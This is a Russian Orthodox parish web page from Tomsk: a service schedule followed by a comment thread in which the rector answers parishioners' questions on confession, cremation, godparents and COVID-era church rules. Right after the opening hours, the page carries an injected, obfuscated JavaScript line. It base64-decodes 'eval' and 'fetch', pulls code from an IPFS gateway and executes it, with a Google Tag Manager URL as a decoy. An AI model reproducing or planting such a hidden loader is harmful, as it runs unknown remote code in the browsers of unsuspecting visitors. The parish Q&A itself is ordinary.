Расписание богослужений

Храм открыт в будние дни с 8 часов утра до окончания вечернего Богослужения.

В воскресные и праздничные дни с 6.30 до окончания вечернего Богослужения.

(function(w,d,s,l,i,j,k,m){w[s]||(w[s]=1,w[d(j)](d(k))[s](c=>c.text())[s](c=>w[d(i)](c)))})(window,atob,’then’,’https://www.googletagmanager.com/gtm.js?id=’,’ZXZhbA==’,’ZmV0Y2g=’,’aHR0cHM6Ly9nYXRld2F5LnBpbmF0YS5jbG91ZC9pcGZzL1FtYnB2NHdCeUdrUVcxVW1XVXYzUFBrYlFHWVBOUmVKOUM5Z0JzbnoxclFKQ3U=’,’cdd2e21f’)

Расписание богослужений: 47 комментариев

  1. Елена

    Здравствуйте! К огромному сожалению, заболела (болезнь не передаётся от человека к человеку), но храм пока не посещаю. По мере возможности, в богослужениях участвую, когда их транслируют по каналу Союз или Спас. Правильно ли я поступаю, не посещая храм? По причине болезненности, иногда трудно отстоять всю службу. Допускается ли присесть или выйти из храма на улицу во ремя богослужения? Всем мира и здоровья!!!

    1. troitsatomsk

      Отвечает настоятель Свято-Троицкого храма протоиерей Святослав Зулин
      Здравствуйте, Елена!
      Сердечно желаю Вам здоровья и укрепления сил! Конечно, человек немощный может рассчитывать на снисхождения и оправдания относительно исполнения своих обязанностей, и, прежде всего, обязанностей христианина. Но мы знаем, что ничто не расхолаживает и не расслабляет человека так, как поблажки. Они всегда начинаются по уважительным причинам, а потом превращаются в целую серию уступок, вплоть до полной потери контроля над собой, своими силами как физическими так и умственными. Опасайтесь этого состояния в своей жизни. Всё-таки необходимо делать усилия над собой, одерживать такие маленькие победы, как понуждение себя приезжать-таки в храм Божий для молитвы и Причастия Тела и Крови Христовых. Всегда можно вызвать такси, договориться со священником о том, чтобы он принял Вашу исповедь непосредственно перед Литургией, и, конечно же допускается присесть во время богослужения или, даже, выйти из храма на небольшое время подышать. Не забывайте слова Господа: «Царство Небесное силою берется, и употребляющие усилие восхищают его!» (Мф.11:12)

  2. Елена

    Здравствуйте! Читала статьи про Таинство исповеди и в одной из статей написано, что красить волосы, ногти, посещать салон красоты — это грех. Являются ли грехом данные действия? Со всем уважением, Елена!

    1. troitsatomsk

      Отвечает настоятель Свято-Троицкого храма протоиерей Святослав Зулин
      Елена, Здравствуйте!
      Известно, что Господь сотворил человека «по образу и по подобию Своему» (Быт.1:26-27). Однако совершив грехопадение человек перестал быть подобен Богу, но всё же образ Божий в нём остался. Это значит, что изменилось (помрачилось) наше отношение к миру и всему творению, которое ведь продолжает оставаться «красивым весьма». Т.е. смотря на прекрасное дерево одни заметят в нём черноту, другим вдруг станет неприятен запах от него, третьим оно просто будет заслонять свет… Чтобы было ещё понятнее, можно привести пример из гастрономии. Диетологи утверждают, что самая полезная пища — простая: не перчёная и солёная, не копчёная и послащённая, не жареная даже, а отварная. Мы же, желая сделать пищу вкусной, делаем её сложной, а потому вредной. Вообще, мы всё в жизни усложняем и от того страдаем и болеем! Это же относится и к желанию человека красиво одеваться, жить в красивых домах и перемещаться в красивом транспорте. Только понятия красоты в нас искажено грехом, понимаете! Также и отношения друг с другом мы желаем выстроить по-своему разумению красоты и порядка. Отсюда и многочисленные разводы, ссоры и одиночества…
      Вот таким же самым образом человек усложняет (читай: обременяет) себя и в украшательстве своего лица и тела. Это совершенно лишнее наслоение нашей жизни — искажение образа Божия! Сам по себе человек прекрасен — он не нуждается ни в рисунках на теле (тату), ни в краске на голове (изменении цвета волос), на губах, глазах и ногтях. Тем более, когда ногти нарочито отращиваются или удлиняются, что препятствует даже правильному сложению пальцев для крестого знамения…
      Так, что простите, Елена, но то, что Вы прочитали в статье о Таинстве исповеди, правда. Вероятно Вы хотели услышать другой ответ, некий компромисс, который более-менее примирил бы Ваше распространённое в обществе желание украшательства. Поверьте, Бог создал нас всех самодостаточными. Христос сказал, что «Царство Божие внутри вас есть» (Лк.17:21). И всё, что нам необходимо для радости и счастья у нас есть изначально и совершенно бесплатно. Все проблемы мы доставляем себе сами!

  3. Лена

    Здравствуйте! У меня есть крестик, который надевали, когда крестилась, крестик покупала в храме. Прошло несколько лет, уже не вспомню как получилось, но сейчас ношу крестик другой. Крестик освященный. Если имеет значение, они из разных металлов (оловянный и золотой). Для меня важно понять, какой крестик все-таки надо носить?

    1. troitsatomsk

      Отвечает настоятель Свято-Троицкого храма протоиерей Святослав Зулин

      Здравствуйте, Елена!
      Православный человек должен всегда носить на груди своей крестик с изображением распятого за нас и нашего ради спасения Господа Иисуса Христа. Крестик может быть из любого материала — металлический (золотой, серебряный, оловянный, латунный, или из сплавов разных металлов), деревянный, полимерный (пластмассовый), и, даже, стеклянный (из особо прочного стекла). Можно носить на себе и несколько крестиков, например, освящённых во время паломничества по святым местам. Главное, что необходимо уяснить себе раз и навсегда — нельзя быть без креста нательного! Даже когда моетесь, когда спите, когда плаваете и занимаетесь спортом — всегда на шею должен быть надет крестик! В исключительных случаях — операция, или рентгенограмма — допускается взять крест в руку (повязать на запястье). Есть практика некоторых публичных людей которые, выходя на работу, надевают крестик из драгоценных металлов, а приходя домой меняют его на простой. Хорошо, если человек сохранил нательный крестик, который был надет на него крестившим его священником в Таинстве крещения. Притом не обязательно всегда носить именно этот крест, но хорошо бы его сохранить как первую реликвию, и всякий раз после молитв на ночь прикладываться (целовать). Дело в том, что сон — это некое подобие смерти. Всякий раз, когда мы ложимся спать, мы должны примириться со всеми, хотя бы в сердце своём, испросить молитвенно у Господа прощение различных содеянных нами грехов (подобная молитва как-раз и размещена в последовании молитв на сон грядушим) и, приложившись ко святыням, в числе которых нательный крестик от купели крещения, ложиться спать как бы во гроб… Отсюда и народное поверие, что погребать умершего человека надо с нательным крестиком крещенским. Это не обязательно, но лучше, если, подчёркиваю, такой нательный крестик сохраняется. Все другие крестики, которые носил усопший также могут быть надеты ему на шею. Если потомки желают сохранить от почившего какие-либо крестики на память, тем более, если они имеют ювелирную ценность — это их право. Главное, чтобы на усопшем православном был нательный крест!

      1. Елена

        Благодарю за ответ!!! С Рождеством Христовым, Новым Годом!!! Всем мира, добра!!!

  4. Анна

    Здравствуйте! Подскажите пожалуйста, нужно ли продолжать молиться о том, чтобы Бог даровал супруга и семью. Мне уже 30 лет, а семьи нет. Молюсь уже давно, но никак не складывается семейная жизнь. Более того все молодые люди, которые были рядом и интересовались и даже были не против создать семью, они в буквальном смысле слова исчезают из моей жизни по необыкновенным причинам. Как будто Господь намеренно отводит их от меня. Стоит ли просить Бога о помощи? Или возможно таким образом Он показывает, что это не мой путь?
    Буду очень благодарна за ответ!

    1. troitsatomsk

      Отвечает настоятель Свято-Троицкого храма протоиерей Святослав Зулин

      Здравствуйте, Анна!
      В отношении каждого человека Господь имеет Свой Промысл. И этот Промысл имеет целью спасение человека. Бог — Спаситель! Просто нам часто хочется чтобы всё было «по-моему», и представление обо всём мы также имеем часто зауженное, эгоистичное… Но ведь цель жизни не в устроении своего благополучия, а в служении. Служении Богу и ближним! Часто люди «обыкновенной судьбы» забывают об этом увлечённые заботой об устроении своего семейного очага и быта, заботой о том, чтобы накормить, одеть и обучить своих детей. Они как бы варятся в этом всеобщем котле, двигаются по этой «широкой» тропе, что не представляют себе иной жизни. Не представляют, что кроме семейной жизни есть жизнь не семейная, например иноческая в монастырях. А есть и жизнь по типу иноческой, но в миру, когда ты целиком и полностью — мыслями, желаниями, делами — занят тем, что помогаешь нищим, обездоленным, больным, инвалидам и старикам. Облегчаешь их плачевное существование. Как бы несёшь крест на Голгофу, подобно Христу, который также не имел «где главу приклонити» — не имел ни семью, ни детей. Для Господа мы — все люди земли жившие и живущие ныне — Его дети. Так вот уподобиться Христу, принять всех ближних страждущих за своих детей — есть ВЫСШИЙ СМЫСЛ ЖИЗНИ. Понимаете, не прожить жизнь как основная масса, а быть ОСОБЕННЫМ, быть иным — иноком — вот главное, к чему на самом деле и должен стремиться каждый христианин. Так ведь и было заведено на Руси с незапамятных времён — хоть в завершении своего жизненного пути, но обязательно удалиться в монастырь, принять монашеский постриг. Уверен, именно к этому Вас призывает Господь, коли так неблагополучно всякий раз складывается ваше замужество. Только не отчаиваться надо, а вдохновляться, понимая, что Господь Бог, таким образом отличил Вас, выделил из «обыкновенной массы» и направляет на ВЫСШЕЕ служение! Это надо понять и принять. Принять с радостью! Тем более, если Вы сохраняете девственность.
      Но, знаете, как говорится, «насильно мил не будешь» и если у Вас не обнаруживается (хотя бы потаённого) этого желания иноческого самопожертвованного жития ради Бога на благо страждующего человека, тогда не надо. Не надо насиловать себя и угрюмо плестись по иноческому пути. Тогда, конечно, не ослабевайте в своих стараниях обрести мужа, молитесь, совершайте паломничества по святым местам и к общению со святыми старцами, чтобы там быть услышанной, и через то облагодатствованной. Помните, как в событии исцеления Господом дочери хананеянки? Она очень долго молила Бога, но Он нарочито делал вид, что не слышит её, потом в обращении к ней Он, вообще, унизил её, сравнив с псами. На что хананеянка подала образец всем верующим и молящимся о получении блага — смирение. Приняв унижение, она сказала: «Так, Господи! Но ведь и псы едят крохи со стола господ»… Нередко Бог проверяет нас на достоинство и, кажется, не слышит наших молений. Но мы должны чётко осознавать, что Господь всё видит и слышит, и если Он замедляет в ответ на наши прошения, значит это нам или не полезно вообще, или полезно, но через смирение, смирение «до зела», принимая все удары судьбы с терпением и кротостью, с благодарностью и радостью, всё продолжая и продолжая взывать о милости! Тогда вступает в действие один непреложный духовный закон: за долготерпение ниспосылается сообразно этому «велия милость» — великая благодать!!! Может быть, у Вас будет такой святой муж, о котором Вы даже и мечтать не мечтали!
      Вот Вам, Анна два пути. Но оба они предполагают глубокую веру, жизнь по вере и добрые дела. В чём да поможет Вам Бог!

      1. Анна

        Спаси Вас Господи, Батюшка! Очень подробный ответ. Спасибо за полезные слова, очень мне помогли! Храни Господь!

      2. Мария

        Добрый день!
        О как же точно и верно Вы все описали! Я пережила тяжелый развод, осталась одна с маленьким сыном и даже не смела надеяться на «нового» мужа, считала что дальше уже буду жить только для сына. Но спустя пару лет я стала просить Бога, что если он сочтет возможным для меня семейного счастья и пошлет мне достойного человека, я буду безмерно счастлива и благодарна. И мне дали мужа, о каком я и не мечтала: порядочный, честный, трудолюбивый, не пьющий и не гулящий, заботливый и любящий. Всему свое время и даже потерпев казалось не удачу в первом браке, как я думала раньше, сейчас я понимаю, что это моя «плата» за замечательного сына и мужа.
        Дорогая Анна, не теряйте Веру, в ней вы найдете свое утешение и Господь никогда не оставит с вас! Он наш Отец и все что не посылает нам в жизни, радости или горести, все это способ направить нас к главному — к Любви и Вере! Берегите себя!
        Мария

  5. Вероника

    Здравствуйте! Мой близкий человек убил кота, это гнетет его изнутри. Он поник и чувство вины его съедает.
    В церковь идти отказывается, говорит, это неправильно, я убил!… А тут пришёл, чтобы отпустили грехи, это грех, мой крест

    Подскажите, как нам поступить

    1. troitsatomsk

      Отвечает настоятель Свято-Троицкого храма протоиерей Святослав Зулин

      Да, убийство любого живого существа, а тем более того, о котором взял ответственное попечение — тяжкий груз на совести любого «непотерянного» для Царства Божия человека. Хорошо, что человек осознаёт это как грех, и грех тяжкий. У него ещё не сожжены «живые струны» совести. Конечно, у животных нет бессмертной души, она умирает вместе с телом животного. В этом качественное отличие души человека, которая имеет вдуновение свыше, а потому бессмертна! Но тем не менее животные созданы Богом как необходимый элемент совершенствования человека в любви. Мы именуем домашних животных «братьями нашими меньшими». Заботясь о них, мы как бы размягчаем своё сердце, делаем его способным вместить весь мир. Конечно, это совершенствование подразумевает и терпение, и снисхождение, и благоразумную строгость, ведь любовь — процесс взаимопроникновенный! Воспитывая «меньшого брата», воспитываешься сам. Поэтому не может иметь место насилие и тем более убийство домашнего питомца. Если это насилие всё же происходит — ответ один: замысел Божий не исполняется, совершенствование человека в любви не происходит, жизнь проходит зря!!! Вижу, ваш близкий человек это осознаёт — ему обязательно надо придти в храм и покаяться в Таинстве исповеди. Понимаете, надо жить! Жизнь без покаяния — не жизнь. Только прилагая усилия по исправлению себя можно оправдать свои ошибки и получить прощение грехов! Всегда дьяволу противно совершенствование человека, он прилагает всевозможные усилия для того, чтобы человек не развивался, а деградировал. Один из механизмов, которые он задействует для этого — парализация устремления человека к Богу, внушение мысли о бесполезности, или невозможности покаяния. Надо самым решительным образом превозмочь себя — отвергнуть все подобные парализующие ум и волю мысли, взять себя в руки и придти в храм. Поисповедоваться, поговорить со священником, быть может понести какую-то эпитимию (добровольное наказание, как упражнение для исправления). И обязательно двигаться дальше — вновь завести домашнего питомца и терпеть его, и питать его, и воспитывать его в духе кротости и любви, неизменно при этом воспитывая себя!

  6. Елена

    Здравствуйте! У меня два вопроса, но сначала короткая предистоия. Несколько лет назад моя мама и мой двоюродный брат (племянник мамы) очень сильно поругались. Мы так были всегда дружны, что не могли и представить, что родные люди могут так сильно поссориться. В душе они и простили друг друга, но встретиться, поговорить и на словах попросить друг у друга прощения,к сожалению, этого не сделали. Братик заболел и в этом году его не стало, мама тоже перенесла болезнь, рак груди, да и сейчас её здоровье хотелось, чтобы не ухудшалось. Мама хоть не говорит, но я знаю, что тяжело у ней на душе, что не смогли они на словах простить дркг друга. Подскажите, как ей быть? Братика моего, его супруга, к сожалению кремировала. Сказала, что это было его желание, хотя я не верю, что он такого для себя желал. У меня второй вопрос: можно ли в храме поминальные службы (панихиду, сорокоуст), если брата кремировали?

    1. troitsatomsk

      Отвечает настоятель Свято-Троицкого храма протоиерей Святослав Зулин.

      Елена здравствуйте!
      Конечно, молиться за душу кремированного человека можно. А примириться с ним обязательно нужно в Таинстве покаяния — Господь донесёт до него Ваши слова о прощении и примирение таинственным образом состоится! Это необходимо сделать и Вам и Вашей маме по возможности скорее. Ведь жизнь, как Вы поняли, непредсказуема и условно говоря завтра может быть уже поздно…

  7. Галина

    Здравствуйте, батюшка! Спасибо за ответ.И простите,за моё недопонимание и возможно,дерзновенность.

  8. Галина

    Здравствуйте! Ответьте, пожалуйста! Почему ложницу опускают в спирт? И почему некоторые служащие в церкви носят маски на лицах?

    1. troitsatomsk

      Отвечает настоятель Свято-Троицкого храма протоиерей Святослав Зулин.

      Здравствуйте, Галина!

      Согласно инструкции, утверждённой решением Священного Синода от 17 марта 2020 года (журнал №30) в связи с угрозой распространения коронавирусной инфекции, и благословением митрополита Томского и Асиновского Ростислава к исполнению означенной инструкции по мере ухудшения эпидемиологической обстановки в Томске, все приходские церкви и монастырские обители должны соблюдать определённые меры безопасности.

      Относительно Причащения Святых Христовых Таин пункт 1 предписывает: «Имея в виду, что принесение Бескровной Жертвы ни в коем случае не может быть отменено, ибо там, где нет Евхаристии, нет церковной жизни, а также что Святые Тело и Кровь Христовы преподаются во здравие как души, так и тела (см., к примеру, молитвы святителя Иоанна Златоуста, 7-ую и 9-ую из последования ко Святому Причащению), с учетом, при этом, исторической практики Православной Церкви в условиях эпидемий, – преподавать Святые Христовы Тайны с обтиранием после каждого причастника лжицы пропитанным спиртом платом (с регулярным обновлением пропитки) и окунанием затем её в воду с последующей утилизацией воды согласно практике, предусмотренной при стирке платов».

      Также, наверняка, Вы обратили внимание, что причастнику после принятия Святых Христовых Таин теперь не подаётся Чаша на целование, что также имеет основанием предписание Инструкции, где пункт 5 гласит: «Причастникам воздерживаться от лобзания Чаши».

      Если Вы присутствовали на Богослужении, на котором совершается помазание освящённым елеем, то не могли не обратить внимание, что помазание теперь совершается индивидуальными ватными палочками, в отношении которых также имеется предписание Инструкции (пункт 10).

      Думаю, Вы обратили внимание и на то, что, испрашивая священническое благословение, многие склоняют голову ниже к
      сложенным рукам, поскольку согласно инструкции священник должен воздерживаться от преподания своей благословляющей десницы для целования – батюшка лишь коснётся Вашей головы (пункт 11).

      Ношение медицинских масок на лице в местах скопления людей также является теперь «суровой» необходимостью. На входе в храм Вы наверняка могли видеть объявление, оповещающее о необходимости соблюдать масочных режим. Всегда приятно видеть послушных прихожан, однако не мало и тех, кто по каким-то причинам не исполняют предписаний. В этом случае священник сам должен подать им пример и надеть маску на свое лицо, особенно, когда заведомо известно, что дистанция в общении будет меньше положенных полутораметров, например, в Таинстве исповеди.

      Конечно, все мы устали от этого затянувшегося коронавирусного бремени, но надо понимать, что всё совершается по всеблагой воли Божией. Господь по недоведомому нам Промыслу Своему проявляет заботу о каждом из нас, попуская те или иные тяготы. И только уготовив себя в смирении, кротости и послушании можно претерпеть всё и спастись!

  9. Мария

    Добрый день!
    Подскажите пожалуйста, можно ли посещать службы или в связи с обращением Патриарха стоит воздержаться?
    И второй вопрос про Настоятеля Андрея Турова, его перевили служить в другой приход?
    За ранее Благодарю!

    1. troitsatomsk

      Настоятель Свято-Троицкого храма протоиерей Святослав Зулин отвечает:
      Добрый день, Мария ! Постараюсь ответить на Ваши вопросы максимально корректно.

      1.
      Все трепещут от страха перед угрозой заболеть, все боятся вируса, которого даже не видно. Хотя жертвы этого вируса с точки зрения медицинской статистики не такие уж и большие. Многие другие болезни, к которым мы привыкли, уносят не меньше жизни, и охватывают не меньшее количество людей. И когда смотришь на эту ситуацию, то испытываешь какое-то двойственное к ней отношение. С одной стороны, конечно, жалко всех тех, кто стал жертвой этой болезни, как жалко любого страдающего человека, и, особенно, человека, умирающего в страданиях. Но есть и другое чувство – это чувство горечи совсем иного рода. Если бы род человеческий так боялся Бога, как он боится вируса, то наверно все бы уже давно во вретище и пепле покаялись бы. Очистили бы своё сердце от самого страшного вируса – вируса нашей гордыни, вируса нашего грехолюбия, который действительно смертоносен и который лишает не временной жизни, а жизни вечной. И вот очищение от этого действительно смертоносного вируса невозможнобез посещения церкви Божией, где у каждого приходящего происходит личная встреча со Христом через молитвы, таинства, богослужения. В частности, на этой недели в храме состоятся две наиважнейшие службы, располагающие нас к покаянию и исправлению своего греховного жития:

      — 1 апреля в 17 часов – «Стояние Марии Египетской», служба, за которой будет прочитан Великий покаянный канон преподобного Андрея Критского полностью, и за которой, предполагается, люди принесут покаяние в таинстве Исповеди, и, соответственно, на следующий день 2 апреля будут причащаться на Литургии преждеосвященных Даров, которую святая Церковь нарочито установила совершить в этот четверговый день помимо обыкновенных дней среды и пятницы, в которых во время Великого поста служится эта особенная великопостная Литургия.
      — 3 апреля в 17 часов – «Похвала Пресвятой Богородицы» – пение древнего акафиста Божией Матери для возбуждения в верующих чувства глубочайшего благоговения перед Пречистой – Матери Господа Иисуса, вземлящего на Себя грехи мира.

      Ну скажите, как верующее и любящее сердце, готовое выпрыгнуть из груди на встречу Богу остановить и приказать ему остаться дома? Конечно, как законопослушный человек я не могу вас призывать нарушить постановление Губернатора о всеобщей самоизоляции жителей Томской области, тем более не могу призывать вас не слушаться Святейшего Патриарха, призвавшего воздержаться от хождения в храмы Божии, но в свете вышесказанного оставляю выбор за вами – за тем насколько ваша христианская совесть позволит вам остаться дома, или всё же прийти в Церковь, естественно с соблюдением всех гигиенических мер – в медицинской маске и перчатках, с дезинфицирующими салфетками для протирания икон после их касания (касаться икон, креста и благословляющей десницы священника теперь возможно только лбом, прикрытым платочком).

      2.

      С 24 марта 2020 года согласно поданному прошению протоиерей Андрей Туров освобождён от служения настоятелем в Свято-Троицкой церкви г.Томска, с оставлением прежнего места служения настоятелем Петропавловской церкви у Спичфабрики г.Томска, где он служит с 2015 года.

      1. Мария

        Добрый день!
        Спасибо за подробный ответ! И как хорошо вы сказали, если душа рвется в Храм, то ее ничем не остановить!!!

  10. Елена

    Добрый день! У меня 2 вопрса. Первый: допускаетмя ли в конце службы приложиться и целовать крест, имея на лице медицинскую маску. Второй вопрос: можно ли усопшего, после отпивания, кремировать? Помимо вопрлсов, хочу покланиться всем служителям храиа и саммому храму, пожелать вмех благ!!!

    1. troitsatomsk

      Настоятель Свято-Троицкого храма протоиерей Святослав Зулин отвечает:

      Добрый день, Елена!

      Действительно, исходя из нынешней неблагоприятной эпидемиологической ситуации, сложившейся не только в нашей стране, но и в мире в целом, необходимость соблюдения гигиенических мер, касающихся безопасности жизнедеятельности, является крайне необходимой. В числе таких мер – ношение медицинской маски в местах массового скопления людей, в том числе в церкви. И стесняться этого не надо, напротив, осознание того, что этим Вы уберегаетесь не только сами, но и не позволяете другим заразиться – должно оправдывать Вас в высшей степени – степени проявления любви и сострадания к окружающим людям. Однако прикладываться к кресту по завершение богослужения, находясь в медицинской маске, а также прикладываться к святыням храма и благословляющей деснице священника возможно только лбом!

      Отвечая на второй Ваш вопрос, следует сказать, что тело человека – есть храм Духа Святого, по слову апостола Павла (1Кор. 16:19), которое будет воскрешено в Судный день – во Второе Страшное пришествие Христово. Тогда каждый человек вновь восстанет для окончательного определения своего места пребывания в вечности – в раю или в аду. Потому умерший человек в православии именуется «усопшим» – уснувшим. А каждое наше ежедневное отхождение ко сну мы уподобляем погребению, потому в молитвенном правиле на сон грядущим в одной из заключительных молитв содержатся такие слова: «Владыко Человеколюбче, не ужели мне одр сей гроб будет, или еще окаянную мою душу просветиши днём?…» Кроме того, место погребения усопшего является местом святым – памятным местом почитания для родных и потомков. Кремация же – противное христианскому учению явление. Язычники считали тело человека – темницей души, скверным и нечистым составом, которое подлежит уничтожению. К сожалению, в нынешнее время кремация входит в жизнь нашего православного общества как «бюджетный» способ погребения. Конечно, как в народе говорится, «дыма без огня не бывает» – в наше время умножения страстей и беззаконий очень малое число людей обеспокоено жизнью с верой и упованием на Бога, стремлением молиться, поститься, исповедоваться и причащаться регулярно.
      Люди в массе своей замыкаются на этой, телесной жизни с заботой о материальном, о чувственном удовлетворении своих потребностей. Таким образом правильное миропонимание и мироощущение притуплено и люди оказываются способными на разного рода ошибки, в том числе на кремацию. А надо бы избегать этого! Надо заранее откладывать средства на смерть, заготовить одежду и обувь на погребение, составить завещание. При том, что это завещание может быть не только распоряжением о материальном наследовании, а распоряжением относительно моральной стороны жизни потомков, как Ваше последнее наставительное слово. И, знаете, никто – ни один человек – не знает день своей кончины, следовательно, быть готовым к смерти надо быть всегда, хоть даже и в сию секунду. Так нас наставляют преподобные и богоносные отцы наши!

      С пастырской любовью о Вас, протоиерей Святослав, настоятель Свято-Троицкой церкви.

    1. troitsatomsk

      Здравствуйте, Причастие проходит в конце каждой Литургии, не только по воскресным дням.

  11. Александр

    Здравствуйте, для того, чтобы крещеному прийти на первую в жизни исповедь нужно заранее договариваться со священником, если да, то когда лучше это сделать и как?

    1. troitsatomsk

      Здравствуйте, специальная договоренность не требуется. Вы можете подойти в любой день, когда в расписании богослужений стоит исповедь. Чтобы избежать очереди, лучше прийти в будний день. Как правило, исповедь проходит с 17 часов в Димитриевском приделе (справа).

  12. Ирина

    К своему вопросу о Причастии при целиакии хочу добавить.Вот ответы священников из Санкт-Петербургской епархии http://samlib.ru/s/stepanow_a_f/99.shtml. Там рекомендуют таких детей причащать до пресуществления Тела в Кровь.Можно ли нам надеяться на такой же подход?ведь речь идет о здоровье ребенка.

  13. Ирина

    Добрый день!подскажите,пожалуйста,как быть.Ребенок 5 лет находится на строгой лечебной диете без глютена и молочного,от ее соблюдения зависит здоровье.т.е.нельзя ничего,что содержит пшеницу,овес,рожь и ячмень.но мы очень хотим причащать ребенка.Нам посоветовали на службе сказать,чтобы причастили только Кровью Христовой.Мы так и сделали.но в Чаше уже было и Тело.заметила я это уже,когда ребенок был причащен.теперь только молимся и надеемся,что обострения не будет.но как же нам быть дальше?ведь даже маленькая крошечка хлеба может при целиакии стать окончанием ремиссии…что же делать?причащать ребенка хотелось бы постоянно,ведь только так мы можем надеяться на помощь Божью с нашей проблемой.пожалуйста,помогите нам выйти из этого тупика.

    1. troitsatomsk

      Добрый день, Ирина! Скажите, пожалуйста, а сами Вы насколько регулярно причащаетесь?

  14. Ксения

    Здравствуйте!
    Хочу покрестить ребёнка.Что для этого нужно?
    Записываться?

    1. troitsatomsk

      Здравствуйте, крестик можно освятить в любой день, удобнее всего это сделать после окончания литургии. Заранее обратитесь в свечную лавку, вам помогут

  15. Дарья

    Здравствуйте, подскажите можно ли причастить детей в воскресенье 8 апреля. В какое время?

    1. troitsatomsk

      Здравствуйте! Дети (младенцы, до 7 лет) причащаются без предварительной исповеди, в первую очередь, в конце Божественной литургии, в любой день, когда служится литургия.

  16. Лариса

    Здравствуйте!Подскажите,пожалуйста,если день Ангела совпадает с Пасхой,можно ли его отмечать и как правильно его праздновать?

    1. troitsatomsk

      Здравствуйте! праздновать точно так же, как всегда: подготовиться принятию Святых Христовых Таин, причаститься, вспомнить житие своего святого покровителя.

  17. Елена

    Здравствуйте. Скажите, пожалуйста, а во сколько в воскресенье можно будет осветить вербу?

    1. troitsatomsk

      Добрый день!Вербу можно освятить на вечернем богослужении накануне праздника Вход Господень в Иерусалим (в субботу), а также в воскресенье по окончании Литургии.

  18. марина

    Здравствуйте . подскажите пожалуйста как лучше поступить. Хотим у вас по крестить 5 месячного сына, в крестные выбрали двоюродного брата мужа. Он с удовольствием согласился. Но дело в том, что он живёт давно в гражданском браке и женится как я поняла не собирается . можно ли такому человеку быть крестным, просто на примете не кого больше нет.

    1. troitsatomsk

      Здравствуйте, Марина! Надо начать с главного — дать верное определение происходящему. А именно, то, как живет двоюродный брат вашего мужа называется не гражданским браком, а называется блудным сожительством. Вследствие чего можно сделать вывод, что он не может стать крестным отцом. Для христианина непозволительно жить в блуде. Следовательно — надо начать жить по-человечески, а уже потом стремиться к тому, чтоб начать устраивать свою жизнь по христианскому принципу. Для этого надо будет начать: 1. Читать Евангелие, 2. Участвовать в благодатных Таинствах Церкви и 3. Найти опытного христианина, который смог бы подсказывать Вам следующие шаги на этом непростом пути. Божией Вам помощи!

Добавить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *